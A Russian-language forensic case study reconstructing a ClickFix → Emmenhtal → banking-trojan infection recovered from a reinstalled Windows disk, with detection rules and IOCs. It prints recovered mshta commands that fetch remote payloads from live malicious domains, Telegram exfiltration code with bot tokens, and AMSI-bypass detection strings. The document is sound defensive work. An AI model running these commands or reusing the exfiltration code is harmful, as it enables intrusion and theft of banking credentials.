Реальный кейс: ClickFix → Emmenhtal → банковский троян → Telegram C2. 23 бот-токена, веб-инжекты Bank of America, SMS-граббер — и всё это найдено после переустановки Windows.


Вступление

В конце февраля 2026 года к нам обратилась организация с подозрением на компрометацию рабочей станции бухгалтера. Сценарий знакомый: на экране появился фейковый экран «Обновление Windows», а параллельно в интернет-банке проводились несанкционированные операции.

Но был нюанс, превративший рядовой IR-кейс в форензик-археологию:

Администратор переустановил Windows до снятия forensic-образа. Затем пользователь в тот же день зашла в 8 банковских систем с теми же учётными данными.

Мы получили клон диска (1 ТБ ADATA SE880, NTFS, 930 ГБ данных) через несколько дней. На руках — свежая Windows с чистыми журналами событий и пустой историей браузера. Тело вируса стёрто. Реестр перезаписан. RAM-дамп не снимали. Классический worst-case для IR-команды.

Итого: ~90% доказательств уничтожено.

Вот что нам удалось восстановить из оставшихся 10%.


Содержание

  1. Что у нас было (и чего не было)

  2. Методология: IOC-hunting в 930 ГБ сырого диска

  3. Проблема ложноположительных: VDM-дисамбигуация

  4. Telegram-токены: от 262 строк к 23 реальным ботам

  5. Hiberfil.sys: подтверждение исполнения в RAM

  6. Kill Chain: ClickFix → Emmenhtal → Banking Trojan

  7. OSINT и атрибуция

  8. Правила детекции: YARA и Sigma

  9. IOC

  10. Выводы и рекомендации


1. Что у нас было (и чего не было)

Начнём с инвентаризации доказательной базы:

Источник

Статус

Восстановимость

Реестр Windows (HKLM, NTUSER.DAT)

Уничтожен

Невозможно

EVTX-журналы (Security, System, PS)

Уничтожены

Невозможно — только пост-переустановка

Тело вируса (EXE/DLL/JS)

Уничтожено

Частично — строки в свободных секторах

Конфигурация вируса

Уничтожена

Частично — webinjects.cbw, Telegram-токены

История браузера

Уничтожена

Только пост-переустановка (24-25 февраля)

RAM (pagefile.sys)

Перезаписан

Чист — новая ОС

Hiberfil.sys

Перезаписан

Фрагменты старых данных в нижних слоях

Свободные сектора диска

Сохранены

Наш основной источник

MFT новой ОС

Доступен

Хронология переустановки

Shimcache / Amcache

Доступны

Только пост-переустановка

AnyDesk traces

Доступны

Session count: 0 (никто не подключался)

Свободные сектора — это области диска, которые были заняты файлами старой ОС, но после переустановки помечены как свободные. Данные в них физически не перезаписаны, пока новые файлы не займут эти сектора. На SSD с wear-leveling ситуация сложнее (TRIM может обнулить данные), но в нашем случае большая часть секторов сохранилась.

Хронология переустановки

Из MFT и EVTX новой ОС мы восстановили точную хронологию:

24.02.2026:
  15:49 MSK — NTFS отформатирован, Windows переустановлена
  16:00-16:05 — OOBE, создание профиля
  17:26 — Запуск WPI-набора BELOFF с USB (пиратский установщик)
  17:39 — Установка пиратского Office 2021
  17:40 — MAS (пиратская активация через PowerShell)
  17:45 — Установка AnyDesk 6.0.8 (версия 2021 года, 5+ лет устарела)
  17:49 — Подключение к домену
  17:54-17:55 — Установка Radmin Server 3.5.2 (8+ лет устарел)
  18:53-19:07 — Установка Taxcom, Kontur, CryptoPro (бухгалтерские системы)
  21:19-21:22 — ВХОД В АЛЬФА-БАНК Бизнес Онлайн

25.02.2026:
  09:03-09:06 — ВХОД В РАЙФФАЙЗЕН Бизнес Онлайн
  11:33 — Повторный вход в Райффайзен
  13:05 — Вход в Альфа-Банк

Пользователь зашла в банковские системы через 5 часов после переустановки. С теми же учётными данными, на той же машине. Без смены паролей.


2. Методология: IOC-hunting в 930 ГБ сырого диска

Основная идея

При форматировании NTFS и переустановке Windows диск не обнуляется. Новые NTFS-структуры перезаписывают MFT и системные файлы, но подавляющее большинство секторов сохраняет данные предыдущей установки — пока они не будут постепенно заняты новыми файлами.

Наш подход: полнодисковое извлечение строк + паттерн-матчинг по 12 категориям IOC.

Техническая реализация

Прямой доступ к raw-устройству (read-only монтирование):

# Извлечение ASCII-строк (длина >= 10 символов) из сырого диска
strings -t d -n 10 /dev/rdisk2s3 > /tmp/raw_strings.txt

# Параллельный поиск по категориям IOC
grep -iE 'telegram.org/bot|sendmessage|chat_id=' /tmp/raw_strings.txt > telegram.txt
grep -iE 'mshta.*http|mshta.*javascript|mshta.*vbscript' /tmp/raw_strings.txt > mshta.txt
grep -iE 'webinject|formgrab|keylog|mimikatz' /tmp/raw_strings.txt > banking.txt
grep -iE 'ngrok' /tmp/raw_strings.txt > ngrok.txt
grep -iE 'AU3!EA06' /tmp/raw_strings.txt > autoit.txt

Для каждого совпадения мы фиксировали смещение на диске (байтовый offset от начала тома). Это критически важно — смещение позволяет определить, из какой области диска пришла строка: из свободных секторов (уничтоженная ОС) или из активных файлов (текущая ОС).

Результаты первого прохода

Категория

Паттерн

Совпадений

Telegram Bot API

[0-9]{8,10}:[A-Za-z0-9_-]{10,}

262 строки

mshta-команды

mshta.*http

61 строка

Malware-семейства

formbook|clickfix|stealc|buhtrap...

1791 строка

Банковские артефакты

webinject|formgrabber|keylog...

65 строк

AutoIt-маркеры

AU3!EA06

10+ вхождений

ngrok

ngrok

40+ строк

1791 совпадение по malware-семействам выглядит впечатляюще. На первый взгляд — машина заражена половиной известных вредоносных семейств. Но тут начинается самая интересная часть.


3. Проблема ложноположительных: VDM-дисамбигуация

Почему 95.9% совпадений — это не малварь

Из 1791 совпадения мы увидели строки вроде:

!ClickFix.DEC
AgentTesla.PRTT!MTB
!FormBook.AGEx
!LummaStealer.AAPT
SnakeKeylogger.RDA
!#TEL:Trojan:Win32/Buhtrap.GHM!MTB

Знакомый формат? Это имена сигнатур Windows Defender.

Windows Defender хранит свои антивирусные определения в VDM-файлах (mpasbase.vdm, mpavbase.vdm и их дельты/бэкапы) — это бинарные базы объёмом ~400 МБ. Внутри — строковые имена всех известных Defender’у вредоносных семейств.

Когда вы ищете строку ClickFix на сыром диске — вы неизбежно найдёте сотни совпадений внутри VDM-баз, которые никакого отношения к реальному заражению не имеют.

Методика разделения

  1. Локализация VDM. На диске нашлись 12 VDM-файлов:

ProgramData/Microsoft/Windows Defender/Definition Updates/
  {84DD86D6-...}/mpasbase.vdm    (132 МБ)
  {84DD86D6-...}/mpavbase.vdm    (68 МБ)
  {84DD86D6-...}/mpasdlta.vdm    (1.4 МБ)
  {84DD86D6-...}/mpavdlta.vdm    (1.7 МБ)
  Backup/                         (~200 МБ)
  Default/                        (~200 МБ)
  1. Определение дискового смещения. Все VDM-файлы расположены в NTFS-области, соответствующей смещению ~25 ГБ от начала тома.

  2. Фильтрация. Каждая строка из raw-скана содержит метку смещения. Все записи со смещением ~25 ГБ — VDM-сигнатуры.

Результат

Категория

Количество

%

Всего совпадений

1791

100%

VDM-сигнатуры (область 25 ГБ)

1717

95.9%

Реальные артефакты (другие смещения)

74

4.1%

Из 74 “реальных” записей подавляющее большинство оказались ложноположительными совпадениями с легитимным кодом:

Строка

Реальный источник

formbookplay

CSS-класс в минифицированном JavaScript

m_stealCount

Переменная .NET System.Collections

Feature_Servicing_PSRightClickFix

Флаг фичи Windows

PerformBookmarkNavigation

Метод Chromium

SoftwareMonitoring.CallGenerateFakeUpdatedEvent

WMI-сервис Windows

buhtrapDetector

Имя правила детекции Defender

Урок для IR-практиков: при сканировании raw-диска на строки malware-семейств всегда вычитайте содержимое VDM/сигнатурных баз. Без этого шага ваш IOC-лист будет завышен на порядок.

Реальные IOC трояна (webinjects.cbw, Telegram-токены, mshta-команды, JavaScript-код эксфильтрации) были подтверждены из других категорий — через контекстуальный анализ JavaScript-кода, API-вызовов и URL-команд, которые не могут быть частью VDM.


4. Telegram-токены: от 262 строк к 23 реальным ботам

Проблема ложноположительных (часть 2)

Паттерн Telegram Bot Token ([0-9]{8,10}:[A-Za-z0-9_-]{10,}) матчит далеко не только ботов. Из 262 строк и 53 уникальных кандидатов, 30 оказались мусором:

“Токен”

Реальный источник

6400000000:699db9be1c84f6bb0b11b69c

Yandex Metrika banerid

2147483647:1073741823

JavaScript Number.MAX_SAFE_INTEGER / 2

123456789:JKLMNOPQRScdefghijk

ASCII charset test

3116678049:NeIb4WErxD2zZp...

Mail.ru CSRF-токен

838788625:5CGG424CE5DFCC2EG78

Бинарные данные (JPEG-заголовки)

Результат фильтрации

23 реальных Telegram-бота (9 полных токенов + 14 фрагментов). Ключевой критерий реальности — JavaScript-контекст:

// Вариант 1: прямое присвоение
var telegram_bot_id = "7217369886:aahksjqmqu-fbptb1uxrhdjecc9gwlz6dom";

// Вариант 2: API-вызов с chat_id
telegram.org/bot6989057172:aaflrv_iwsmb1-cc64puz7ki_jyka8br2fu/sendmessage?chat_id=6481270908

// Вариант 3: const + apikey
const apikey = '7200176830:aaeb5kv-ejhpbl37awux97bef6suf3c7qq4';

// Вариант 4: var + token
var token = '5450319009:aaga-8muwnpx4nwjvdosgenwwfdmjk4zw1k';

// Вариант 5: let + обфусцированное имя
let yxz = '6158050829:aafcxihqt0ymqlkj2trnjrrcoicdxashoay';

Разнообразие паттернов (var/const/let, разные имена переменных — telegram_bot_id, apikey, token, yxz) и количество токенов (23) указывают на MaaS-модель с множественными операторами или ротацией ботов между кампаниями.

Верификация через API

Все 9 полных токенов проверены:

curl -s "https://api.telegram.org/bot7217369886:aahksjqmqu-fbptb1uxrhdjecc9gwlz6dom/getMe"
# {"ok":false,"error_code":401,"description":"Unauthorized"}

Результат для всех 9: 401 Unauthorized — боты удалены или отозваны к моменту анализа.

Полный список полных токенов

#

Bot ID

Token

Контекст

1

7217369886

7217369886:aahksjqmqu-fbptb1uxrhdjecc9gwlz6dom

var telegram_bot_id

2

6989057172

6989057172:aaflrv_iwsmb1-cc64puz7ki_jyka8br2fu

sendmessage + chat_id

3

5450319009

5450319009:aaga-8muwnpx4nwjvdosgenwwfdmjk4zw1k

var token

4

7108437914

7108437914:aae2uvqbgkwxk2cxb3poqwk74fetygj1mn

standalone

5

7200176830

7200176830:aaeb5kv-ejhpbl37awux97bef6suf3c7qq4

const apikey

6

6158050829

6158050829:aafcxihqt0ymqlkj2trnjrrcoicdxashoay

let yxz

7

7150547715

7150547715:aaf1omaabd6hxljmukebb2eccwumgn4fm3s

var token

8

7210144457

7210144457:aagj5wkql0ko43ahs6h8no0s50gpvqghp84

/bot.../

9

8210503521

8210503521:aafrsmasval22ouiep3pbq4llpec0h6e8my

/bot.../

Chat ID получателя: 6481270908 — единственный chat_id, обнаруженный в API-вызовах. Это аккаунт злоумышленника, куда стекались все украденные данные.


5. Hiberfil.sys: подтверждение исполнения в RAM

Зачем анализировать hiberfil.sys

hiberfil.sys — файл гибернации Windows, по сути дамп оперативной памяти, записываемый при переходе в режим гибернации. Хотя файл был перезаписан новой ОС (дата модификации — 25.02.2026, 13:09), в нижних слоях диска (свободные сектора в месте хранения старого hiberfil.sys) могли сохраниться фрагменты данных из периода до переустановки.

Файл весит 64 ГБ. Мы не пытались парсить его структуру (заголовок уже от новой ОС), а использовали поиск строк:

strings -t d -n 10 /Volumes/Untitled/hiberfil.sys | grep -iE 'telegram|sendmessage|bot[0-9]{7}' > /tmp/hiberfil_telegram.txt
strings -t d -n 10 /Volumes/Untitled/hiberfil.sys | grep -iE 'mshta|klipjaqemiu|codebizz|refinim' > /tmp/hiberfil_mshta.txt
strings -t d -n 10 /Volumes/Untitled/hiberfil.sys | grep -iE 'webinject|formgrab|keylog|mimikatz' > /tmp/hiberfil_banking.txt

Критические находки

5.1 Telegram-токены — подтверждены в RAM

Те же токены, что и на raw-диске, обнаружены в hiberfil.sys:

bot6989057172:aaflrv_iwsmb1-cc64puz7ki_jyka8br2fu/sendmessage?chat_id=6481270908
var telegram_bot_id="7217369886:aahksjqmqu-fbptb1uxrhdjecc9gwlz6dom"
var token='5450319009:aaga-8muwnpx4nwjvdosgenwwfdmjk4zw1k'
const apikey='7200176830:aaeb5kv-ejhpbl37awux97bef6suf3c7qq4'

Значимость: Если данные найдены в hiberfil.sys — значит вредоносное ПО было загружено в оперативную память и активно функционировало. Это не просто файл на диске — это работающий процесс.

5.2 JavaScript-код эксфильтрации — восстановлен

Из hiberfil.sys удалось извлечь фрагменты кода трояна:

// Код отправки данных
fetch(telegramurl, {
  method: 'post',
  headers: {'content-type': 'application/json'},
  body: ...
});

// Подтверждение отправки
if (response.ok) { alert('data sent to telegram?...') }

// XHR-запрос к подозрительному домену
var xhr = new XMLHttpRequest();
xhr.open("get", "//lurgee.stream/?mrqkckdvdd_" + win...

5.3 Base64-encoded webinject — Bank of America

В hiberfil.sys обнаружена Base64-строка:

dGl0bGU+QmFuayBvZiBBbWVyaWNhIHwgT25saW5lIEJhbmtpbmcgfCBWZXJpZmljYXRpb24gUGFnZTwvP

Декодирование:

<title>Bank of America | Online Banking | Verification Page</title>

Фишинговая страница Bank of America, внедряемая через webinjects. Это доказывает, что троян содержал инжекты не только для российских, но и для международных банков.

5.4 Модульная структура трояна

Из hiberfil.sys восстановлена структура модулей:

Находка

Значение

contact_bot KeyLogs upload_screenshot_c2 keylog_txt

Архитектура модулей: бот-связь, кейлоггер, скриншоты, C2

isTelegramSended_1 SmsGrabber: No messages

SMS-граббер — перехват SMS для обхода 2FA

DPAPICredKeyLogg

DPAPI-кейлоггер для перехвата Windows credentials

tasks.media.screenrecord/app/hidden/keylogger

Скрытый кейлоггер со записью экрана

HOMEKEYLOGGER_MUTE

Бесшумный режим кейлоггера

Collecting Telegram data (main thread)

Сбор данных из Telegram-приложения пользователя

insertFormGrabberKit.pdb

PDB debug-путь формграббера

5.5 Новые домены

Домен

Контекст

marathon.teachmemoney.net

URL конфигурации webinjects (.cbw файл)

lurgee.stream

XHR GET-запрос из кода трояна

5.6 Ngrok — доставка .dotm

://816e-182-227-90-53.ngrok.io/open.dotm

Формат .dotm — Microsoft Word Template с макросами. Ngrok-туннель использовался не только как C2, но и для доставки вредоносных документов.

Почему hiberfil.sys важнее raw-диска

В отличие от raw-диска, hiberfil.sys не содержит VDM-баз Defender. Все совпадения в hiberfil.sys — это строки, которые были в оперативной памяти. Обнаружение тех же IOC в двух независимых источниках (свободные сектора диска + hiberfil.sys) подтверждает их подлинность.


6. Kill Chain: ClickFix → Emmenhtal → Banking Trojan

На основании всех восстановленных артефактов мы реконструировали полную цепочку атаки:

СТАДИЯ 0: СОЦИАЛЬНАЯ ИНЖЕНЕРИЯ — ClickFix
│
│  Жертва попадает на страницу с фейковой CAPTCHA
│  (life-captcha.*, Dropbox-лура с украинской тематикой)
│
│  JavaScript verify() копирует команду в буфер обмена:
│    mshta https://klipjaqemiu.shop/web44.mp4
│
│  Инструкция: "Нажмите Win+R → Ctrl+V → Enter"
│
▼
СТАДИЯ 1: MSHTA.EXE — Загрузка polyglot
│
│  mshta.exe загружает файл web44.mp4
│  .mp4 = polyglot (легитимный PE-заголовок + HTA-код в конце)
│  mshta парсит HTA-часть: <hta:application id="ohta">
│  Выполняет встроенный JavaScript
│
▼
СТАДИЯ 2: JAVASCRIPT → POWERSHELL — Деобфускация
│
│  String.fromCharCode() + eval() → PowerShell-скрипт
│  Execution Policy → Bypass / Unrestricted
│  -WindowStyle Hidden (невидимое окно)
│
▼
СТАДИЯ 3: AES + REFLECTION — Fileless-загрузка
│
│  PowerShell:
│    1. AES-дешифрование второй стадии (~10 МБ обфускации)
│    2. Bypass AMSI через модификацию CLR DLL в памяти
│    3. Отключение trace-логов (anti-forensics)
│    4. [System.Reflection.Assembly]::Load() — загрузка .NET в память
│
│  Результат: payload работает полностью в RAM, без записи на диск
│
▼
СТАДИЯ 4: БАНКОВСКИЙ ТРОЯН — Активная фаза
│
│  ┌── Webinjects (webinjects.cbw)
│  │     Подмена содержимого банковских страниц
│  │     Включая Bank of America (международные инжекты)
│  │
│  ├── Formgrabber (insertFormGrabberKit.pdb)
│  │     Перехват данных из HTML-форм
│  │
│  ├── Keylogger + Screen Recording
│  │     tasks.media.screenrecord/app/hidden/keylogger
│  │     HOMEKEYLOGGER_MUTE — бесшумный режим
│  │     DPAPICredKeyLogg — перехват Windows credentials
│  │
│  ├── SMS Grabber
│  │     Перехват SMS для обхода 2FA
│  │
│  ├── Mimikatz (reflective)
│  │     Извлечение паролей из памяти Windows
│  │     Рефлективная загрузка (без записи mimikatz.exe на диск)
│  │
│  ├── Telegram Data Theft
│  │     "Collecting Telegram data (main thread)"
│  │
│  └── Fake "Windows Update" Screen
│        Блокировка экрана при проведении операций в банке
│
▼
СТАДИЯ 5: ЭКСФИЛЬТРАЦИЯ
│
│  Канал 1: Telegram Bot API
│    → 23 бота → Chat ID 6481270908
│    → fetch(telegramurl, {method:'post'})
│    → /sendMessage, /sendDocument
│
│  Канал 2: Ngrok C2
│    → 816e-182-227-90-53.ngrok.io
│    → Доставка .dotm (Word-макросы)
│    → IP: 182.227.90.53 (Сеул, Ю.Корея)
│
│  Канал 3: HTTP exfiltration
│    → marathon.teachmemoney.net (webinject config)
│    → lurgee.stream (XHR GET)
│    → /eme/03/index.php (FormGrabberKit endpoint)

Восстановленные mshta-команды

Из raw-диска извлечено 40+ уникальных mshta-команд. Вот ключевые:

# 1. ClickFix → Emmenhtal
verify(){const texttocopy=`mshta https://klipjaqemiu.shop/web44.mp4`

# 2. Обфускация через .insert()
-c 'mshta'.insert(5,'https://codebizz.com/7896745657879090.mp4')

# 3. Фейковый Zoho WorkDrive + substring()
mshta https://awakka-aws3.zoho-documents.com/hekko.mp4

# 4. PowerShell → mshta
powershell -windowstyle hidden -command mshta https://ezstat.ru/

# 5. VBScript dropper
mshta vbscript:createobject("wscript.shell").run "powershell -..."

# 6. CMD → mshta → JavaScript
c:\windows\system32\cmd.exe /c mshta "javascript:var _$_..."

# 7. Фейковая CAPTCHA
mshta.exe https://life-captcha...

# 8. Российский хостинг
system32\mshta.exe http://a0716572.xsph.ru/ques

# 9. HTA payload
-noprofile -command "mshta https://refinim.site/ruzirious"

Разнообразие техник обфускации (.insert(), .substring(), javascript:, vbscript:, PowerShell relay, CMD wrapper) говорит о промышленном подходе к доставке — это не одиночный скрипт, а инструментарий с множественными вариантами доставки.

AutoIt-компонент

На диске обнаружены маркеры скомпилированных AutoIt-скриптов (AU3!EA06) на 6 разных смещениях (0, 25, 51, 71, 75, 84 ГБ). AutoIt широко используется в банковских троянах Buhtrap/RTM для автоматизации действий в интернет-банке.


7. OSINT и атрибуция

Emmenhtal Loader: профиль

Параметр

Значение

Семейство

Emmenhtal (aka PEAKLIGHT, IDATDropper)

Впервые обнаружен

Февраль 2024

Раскрыт публично

Август 2024 (Orange Cyberdefense + Mandiant)

Модель

MaaS (Malware-as-a-Service)

SHA256 нашего образца

4864E60175EC2FB6F2724C0830C3BF09C043D327C5824E77C8C2A8B2E077FDCF

MD5

40FFDA51BD6A87D788CD5CD17275AB87

URL доставки

https://klipjaqemiu.shop/web44.mp4

Вердикт ANY.RUN

MALICIOUS

ThreatFox

380 sightings

Доставляемые семейства

Lumma, CryptBot, Amadey, SmokeLoader, DarkGate, Remcos + 10 других

Инфраструктура

100+ WebDAV-серверов (Sekoia.io), ASN: Terasyst, Zonata, BL Networks

Кластер доменов

Паттерн klip*.shop, регистрация Namecheap, Cloudflare NS, Исландия:

Домен

Файл

SHA256

klipjaqemiu.shop

web44.mp4

4864E601... (наш образец)

cc.klipjaqemiu.shop

web.png (2-я стадия)

klipbazyxui.shop

web44.dle

4BAABDBE...

klipderiq.shop

kongo.mp4

4EA8645A...

savecoupons.store

web44.mp4

82A238BF...

OSINT по доменам из инцидента

Домен

Статус

Роль

klipjaqemiu.shop

MALICIOUS (ANY.RUN, ThreatFox)

Emmenhtal payload host

codebizz.com

Заблокирован GoDaddy (clientDeleteProhibited)

Фейковый .mp4

ezstat.ru

Trust Score 1/100, blacklisted

IP-трекер (сеть iplogger.org)

refinim.site

Подозрительный

HTA payload via mshta

awakka-aws3.zoho-documents.com

Тайпосквоттинг Zoho

Фейковый WorkDrive

stat.02933.com

Подозрительный

VBScript dropper

marathon.teachmemoney.net

Подозрительный

Webinject config (.cbw)

lurgee.stream

Подозрительный

XHR exfiltration endpoint

IP-адреса

IP

Геолокация

ISP

Роль

OSINT

182.227.90.53

Сеул, Ю.Корея

LG POWERCOMM, AS17858

Ngrok C2-туннель

Резидентный, скомпрометированное устройство

188.114.96.3

Cloudflare

AS13335

Proxy klipjaqemiu.shop

801 abuse-отчёт на AbuseIPDB

185.215.113.43

Amadey C2

Cisco Talos

88.151.192.165

SmokeLoader C2

G-Data

Атрибуция

Группировка

Совпадение

Характеристики

CoralRaider (Вьетнам)

ВЫСОКОЕ

Cisco Talos атрибуция Emmenhtal, LNK→mshta→HTA→PS цепочка

Emmenhtal / PeakLight

ПОДТВЕРЖДЕНО

Домен, SHA256, ThreatFox

ClickFix

ВЫСОКОЕ

Метод #1 initial access 2025 (47% атак по Microsoft)

Buhtrap / RTM (наследники)

СРЕДНЕЕ

Те же TTP (бухгалтеры РФ, веб-инжекты, AutoIt)

Аналогичные кампании против российских финансистов (2025-2026)

Кампания

Период

Малварь

C2

MoneyMount-ISO / Phantom Stealer

июнь-сентябрь 2025

Custom stealer

Telegram

Amnesia RAT + Hakuna Matata

январь 2026

RAT + ransomware

Telegram

DupeHike / DUPERUNNER (UNG0902)

ноябрь 2025+

C++ implant

AdaptixC2

Наш инцидент

февраль 2026

Banking trojan

Telegram


8. Правила детекции: YARA и Sigma

Мы публикуем 10 YARA-правил и 10 Sigma-правил для детекции наблюдаемой цепочки атаки.

YARA-правила

1. Emmenhtal Polyglot (.mp4 + HTA)

rule Emmenhtal_Polyglot_MP4_HTA
{
    meta:
        description = "Emmenhtal polyglot: PE header + embedded HTA + PowerShell"
        author = "IDEANIX LLC"
        date = "2026-03-14"
        hash = "4864E60175EC2FB6F2724C0830C3BF09C043D327C5824E77C8C2A8B2E077FDCF"
        mitre_attack = "T1218.005"

    strings:
        $mz = "MZ" at 0
        $hta1 = "<hta:application" ascii nocase
        $hta2 = "hta:application id=" ascii nocase
        $ps1 = "powershell" ascii nocase
        $ps2 = "Reflection.Assembly" ascii nocase
        $fromchar = "String.fromCharCode" ascii

    condition:
        $mz and filesize > 100KB and
        (1 of ($hta*)) and
        (1 of ($ps*) or $fromchar)
}

2. Telegram Bot JS Exfiltration

rule Telegram_Bot_JS_Exfiltration
{
    meta:
        description = "JavaScript exfiltrating data via Telegram Bot API"
        author = "IDEANIX LLC"
        mitre_attack = "T1567"

    strings:
        $api1 = "api.telegram.org/bot" ascii nocase
        $api2 = "telegram.org/bot" ascii nocase
        $send1 = "/sendMessage" ascii nocase
        $send2 = "/sendDocument" ascii nocase
        $send3 = "chat_id=" ascii
        $token = /[0-9]{8,10}:AA[A-Za-z0-9_\-]{30,}/ ascii
        $js1 = "var telegram_bot_id" ascii nocase
        $js2 = "const apikey" ascii nocase
        $fetch = "fetch(" ascii

    condition:
        (1 of ($api*) and 1 of ($send*)) or
        ($token and 1 of ($js*)) or
        ($token and $fetch and $send3)
}

3. Banking Trojan Webinjects (.cbw)

rule Banking_Trojan_Webinjects_CBW
{
    meta:
        description = "Banking trojan webinject configuration (.cbw format)"
        author = "IDEANIX LLC"
        mitre_attack = "T1185"

    strings:
        $cbw1 = "webinjects.cbw" ascii nocase
        $cbw2 = "webinject.log" ascii nocase
        $grab1 = "formgrabber" ascii nocase
        $grab2 = "formgrab" ascii nocase
        $inject1 = "data_inject" ascii nocase
        $inject2 = "data_before" ascii nocase
        $inject3 = "data_after" ascii nocase

    condition:
        (1 of ($cbw*) and 1 of ($grab*)) or
        (3 of ($inject*))
}

4. ClickFix Fake CAPTCHA

rule ClickFix_Fake_Captcha
{
    meta:
        description = "ClickFix social engineering: fake CAPTCHA + clipboard injection"
        author = "IDEANIX LLC"
        mitre_attack = "T1204.001"

    strings:
        $verify = "verify()" ascii nocase
        $captcha1 = "life-captcha" ascii nocase
        $captcha2 = "i am not a robot" ascii nocase
        $captcha3 = "press Win+R" ascii nocase
        $clip1 = "texttocopy" ascii nocase
        $clip2 = "navigator.clipboard" ascii nocase
        $clip3 = "execCommand('copy')" ascii nocase
        $mshta = "mshta" ascii nocase
        $ps = "powershell" ascii nocase

    condition:
        (1 of ($captcha*) or $verify) and
        (1 of ($clip*)) and
        ($mshta or $ps)
}

Sigma-правила

1. Mshta + .shop (Emmenhtal delivery)

title: Mshta Execution with .shop Domain
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: mshta.exe loading from .shop TLD — Emmenhtal loader
author: IDEANIX LLC
tags:
    - attack.t1218.005
logsource:
    category: process_creation
    product: windows
detection:
    selection_mshta:
        Image|endswith: '\mshta.exe'
    selection_shop:
        CommandLine|contains: '.shop'
    condition: selection_mshta and selection_shop
level: critical

2. PowerShell Reflection + AES (fileless .NET)

title: PowerShell Reflection Assembly with AES
id: b2c3d4e5-f6a7-8901-bcde-f12345678901
status: experimental
description: Fileless .NET loading with AES — Emmenhtal signature
author: IDEANIX LLC
tags:
    - attack.t1059.001
    - attack.t1620
logsource:
    category: process_creation
    product: windows
detection:
    selection_ps:
        Image|endswith:
            - '\powershell.exe'
            - '\pwsh.exe'
    selection_reflection:
        CommandLine|contains:
            - 'Reflection.Assembly'
            - 'Assembly::Load'
    selection_crypto:
        CommandLine|contains:
            - 'AesCryptoServiceProvider'
            - 'RijndaelManaged'
    condition: selection_ps and selection_reflection and selection_crypto
level: critical

3. Telegram Bot API от не-браузера

title: Telegram Bot API from Non-Browser Process
id: c3d4e5f6-a7b8-9012-cdef-123456789012
status: experimental
description: Non-browser Telegram Bot API traffic — data exfiltration
author: IDEANIX LLC
tags:
    - attack.t1567
logsource:
    category: proxy
detection:
    selection_url:
        c-uri|contains: 'api.telegram.org/bot'
    filter_browsers:
        c-useragent|contains:
            - 'Mozilla'
            - 'Chrome'
            - 'Firefox'
    condition: selection_url and not filter_browsers
level: high

4. AMSI Bypass в PowerShell

title: AMSI Bypass Attempt in PowerShell
id: c9d0e1f2-a3b4-5678-cdef-789012345678
status: experimental
description: Common AMSI bypass techniques used by Emmenhtal
author: IDEANIX LLC
tags:
    - attack.t1562
logsource:
    category: ps_script
    product: windows
detection:
    selection:
        ScriptBlockText|contains:
            - 'AmsiUtils'
            - 'amsiInitFailed'
            - 'AmsiScanBuffer'
            - 'SetValue($null,$true)'
    condition: selection
level: critical

Полные наборы правил (10 YARA + 10 Sigma) доступны в приложении.


9. IOC

Домены

Домен

Роль

Статус

klipjaqemiu.shop

Emmenhtal payload host

MALICIOUS

cc.klipjaqemiu.shop

2-я стадия payload

MALICIOUS

klipbazyxui.shop

Связанный Emmenhtal домен

MALICIOUS

klipderiq.shop

Связанный Emmenhtal домен

MALICIOUS

savecoupons.store

Связанный Emmenhtal домен

MALICIOUS

codebizz.com

Доставка фейковых .mp4

Locked by registrar

refinim.site

HTA payload delivery

Suspicious

awakka-aws3.zoho-documents.com

Тайпосквоттинг Zoho

Suspicious

ezstat.ru

IP-трекер (iplogger.org)

Trust Score 1/100

stat.02933.com

VBScript dropper

Suspicious

marathon.teachmemoney.net

Webinject config server

Suspicious

lurgee.stream

XHR exfiltration

Suspicious

Хеши

Тип

Хеш

Файл

SHA-256

4864E60175EC2FB6F2724C0830C3BF09C043D327C5824E77C8C2A8B2E077FDCF

klipjaqemiu.shop/web44.mp4

MD5

40FFDA51BD6A87D788CD5CD17275AB87

то же

SHA-1

8AC10F67E882D79B31DF278F95A2A72FC1283B06

то же

SHA-256

4BAABDBE96A16716454A62ABD7A7105D8B3A775C2428A0052D9738B0412A32C6

web44.mp4 (alt domain)

SHA-256

82A238BF4F5D618063813B35F65727441D7C6F634A860BE51EAC3127FAC4047A

savecoupons.store/web44.mp4

SHA-256

C5061E9B8A641F04F3CA2D1F1C69E47B918D16EF064383648B5C19F72E53DD5B

klipderiq.shop/sh

SHA-256

4EA8645AB0EBA6E65B3D486C5533CB2C04058D0DDAB72A43530029470E5CAFDE

klipderiq.shop/kongo.mp4

Сетевые индикаторы

IP

Контекст

188.114.96.3, 188.114.97.3

Cloudflare proxy klipjaqemiu.shop (801 abuse-отчёт)

182.227.90.53

IP за ngrok C2 (Сеул, LG POWERCOMM)

185.215.113.43

Amadey C2 (Emmenhtal MaaS, Cisco Talos)

88.151.192.165

SmokeLoader C2 (Emmenhtal MaaS, G-Data)

Telegram

Тип

Значение

Chat ID (атакующий)

6481270908

Bot #1

7217369886:aahksjqmqu-fbptb1uxrhdjecc9gwlz6dom

Bot #2

6989057172:aaflrv_iwsmb1-cc64puz7ki_jyka8br2fu

Bot #3 (фрагмент)

7170410488

Bot #4

5450319009:aaga-8muwnpx4nwjvdosgenwwfdmjk4zw1k

Bot #5

7108437914:aae2uvqbgkwxk2cxb3poqwk74fetygj1mn

Bot #6

7200176830:aaeb5kv-ejhpbl37awux97bef6suf3c7qq4

Bot #7

6158050829:aafcxihqt0ymqlkj2trnjrrcoicdxashoay

Bot #8

7150547715:aaf1omaabd6hxljmukebb2eccwumgn4fm3s

Bot #9

7210144457:aagj5wkql0ko43ahs6h8no0s50gpvqghp84

Bot #10

8210503521:aafrsmasval22ouiep3pbq4llpec0h6e8my

Ngrok

Индикатор

Контекст

816e-182-227-90-53.ngrok.io/open.dotm

C2 + доставка Word-макросов

URL

URL

Контекст

/eme/03/index.php

Сервер FormGrabberKit

marathon.teachmemoney.net/.../cbw3owafkav...

Конфигурация webinjects


10. Выводы и рекомендации

Что мы узнали

  1. Переформатированный диск — не приговор. Из 930 ГБ свободных секторов мы восстановили 23 Telegram-бота, 40+ mshta-команд, веб-инжекты, JavaScript-код эксфильтрации, PDB-путь формграббера и модульную структуру трояна. Достаточно, чтобы реконструировать полную kill chain от initial access до exfiltration.

  2. VDM-дисамбигуация — must-have. 95.9% совпадений по строкам malware-семейств были ложноположительными из баз Windows Defender. Без этого шага отчёт содержал бы тысячи фантомных IOC.

  3. Hiberfil.sys — недооценённый источник. Даже после переустановки ОС фрагменты старого hiberfil.sys сохраняются в свободных секторах. Мы подтвердили активность трояна в RAM через анализ hiberfil.sys.

